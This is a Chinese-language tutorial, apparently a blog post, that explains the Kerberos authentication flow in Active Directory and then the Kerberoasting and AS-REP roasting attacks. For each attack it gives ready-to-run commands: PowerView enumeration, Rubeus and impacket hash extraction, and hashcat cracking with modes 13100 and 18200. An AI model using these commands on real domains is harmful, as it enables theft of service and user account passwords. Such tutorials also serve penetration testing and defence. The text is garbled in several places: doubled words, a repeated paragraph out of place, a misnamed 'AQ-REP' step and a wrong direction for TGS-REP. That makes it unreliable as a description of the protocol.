Kerberos认证与利用
Kerberos 身份验证
深入了解 Kerberos 协议对于 AD 的利用十分重要。Kerberos 是 Active Directory 中一个非常有趣的话题,因为许多滥用和利用都是基于 Kerberos。从Kerberos 的。自 Windows Server 2003 开始,Kerberos 充当着身份验认证的主要角色。 NTLM 身份验认证采用了质询和响应与挑战的机制,而 Kerberos 是基于票证据系统的。
让因此,在利用 Kerberos 之前,我们熟悉应该理解 Kerberos 认证的每一些步。在 Kerberos 认证中,有这么几个角色并记住它我们!需要知道:
客户端:登录其工作站的最终端用户。
KDC:KDC:域中的域控制器,它由身份验认证服务器(AS) AS,和票证据授予服务器(TGS) TGS 组成。为简单起见,我们将它们都视为 KDC。
服务/资源:最终端用户在认证后想要访问的服务或资源,如MSSQL实 MSSQL 服务器实例、CIFS、IISSMB Web Server等共享目录等。
第 1
步:按要求骤1:AS-REQ
方向:客户端 -> KDC
行动:请求 TGT(票证授予票证)
提供:使用用户的哈希加密的时间戳,而哈希是由用户的帐户和密码生成的。
详细信息:当最终用户登录时,AS-REQ 请求将被发送到 KDC (AS)。
第 2 步:AS-REP
方向:KDC-KDC ->客户端
行动:返回 TGT
提供:由用户密码哈希加密的会话密钥。其中包含用户信息、域、时间戳、会话密钥、客户端IP地址等多种信息的TGT。
详情:KDC(AS)解密时间戳,认证成功。 AS-REP 返回给客户端。
备注:TGT 默认有效期为 10 小时,使用 krbtgt 的哈希加密。
第 3 步:TGS-REQ
方向:客户端 -> KDC
行动:请求 TGS 票证(票证授予服务票证)
提供:客户端用户名、服务的 SPN、TGT 以及使用会话密钥加密的时间戳。
详细说明:当客户端访问MSSQL实例、CIFS、IIS Web服务器等域服务时,TGS-REQ会被发送到KDC(TGS)。
第 4 步:TGS-REP
方向:客户端 -> KDC
行动:退回 TGS 票
提供:加密的目标 SPN,以及在步骤 2 中使用先前会话密钥的客户端和服务之间的会话密钥。加密的 TGS 票证,其中包含带有服务密码哈希的用户信息
详细信息:KDC 验证目标 SPN、客户端的 TGT、用户信息等是否有效。然后 KDC (TGS) 返回 TGS-REP。
第 5 步:AP-REQ
方向:客户 ->服务
行动:请求服务访问
提供:客户端用户名,使用客户端和服务之间的会话密钥加密的时间戳,使用服务的密码哈希加密的 TGS 票证。
详细信息:客户端向服务服务器发送 AP-REQ。
第 6 步:AQ-REP
方向:服务 -> 客户
行动:向客户端授予服务访问权限
提供:无
详细信息:服务服务器解密 TGS 票证,并检索会话密钥以解密客户端用户名。如果有效,则服务服务器检查客户端是否有足够的权限。例如,用户 Alice 是组“Server Admin”的成员,而组“Server Admin”对服务器 SRV1 具有本地管理员权限。如果是,则授予访问权限。
下图详细解释每一步
简化流程
Kerberos 身份验认证实际上很复杂,您仍然感到困惑吗? 没关系,在大多数情况下,我们不需要记住每一步的每一个细节。 ,我们可以稍微简化流程让我们以帮助快速理解,我们。假设每一在以下步都顺利骤中,没有任何异常发生,例如没有错误的凭证,没有、网络攻击等的不稳定、权限不足。
客户端认证
第 1 步:客户端向 KDC (AS) 请求 TGT
第 2 步:KDC (AS) 将 TGT 返回给客户端。
客户授权
第 3 步:客户端向 KDC (TGS) 请求 TGS 票证据
第 4 步:KDC (TGS) 将 TGS 票证据返回给客户端
访问请求
第五 5 步:客户端请求访问服务服务器特定的资源
第6步 6 步:只要如果客户端具有权限 (例如属于特定分组),就则授予访问权限
经典 Kerberos 利用
Kerberoasting 攻击
如果服务在域用户帐户的上下文下在域计算机上运行,则它是服务帐户,并且应该设置 SPN。 SPN 是服务实例的唯一标识符。 krbtgt 总是设置了 SPN,但它是不可利用的。
根据前面提到的 Kerberos 身份验证流程,我们可以发现服务帐户的密码哈希用于加密 TGS 票证。 因此,Kerberoasting 是一种通过为目标服务帐户请求 TGS 票证来检索 krb5tgs 哈希的技术。 之后就可以离线破解krb5tgs hash,希望能得到明文密码。
提供:加密的目标 SPN,以及在步骤 2 中使用先前会话密钥的客户端和服务之间的会话密钥。加密的 TGS 票证,其中包含带有服务密码哈希的用户信息
攻击
在 Windows 上
搜索:
获取-NetUser -SPN (PowerView.ps1)
开发:
rubeus.exe kerberoast /format:hashcat /user:[服务帐户] /nowrap
在 Linux 上
开发:
python3 GetUserSPNs.py -request -request-user [target user] -dc-ip [dc ip] [domain fqdn/user:password] (impacket)
破解哈希:
hashcat -a 0 -m 13100 krb5tgs.txt rockyou.txt
ASREPRoasting 攻击
如果域用户不需要 Kerberos 预身份验证,我们可以为用户请求 AS-REP 并从部分回复中检索 krb5asrep 哈希。 希望我们可以破解哈希并获得明文密码。
攻击
在 Windows 上
搜索:
获取-NetUser -PreAuthNotRequired (PowerView.ps1)
开发:
rubeus.exe asreproast /format:hashcat /user:[目标用户] /nowrap
在 Linux 上
开发:
python3 getNPUsers.py -dc-ip [dc ip] [domain fqdn] -userfile [user list] -format hashcat (impacket)
破解哈希:
hashcat -a 0 -m 18200 krb5asrep.txt rockyou.txt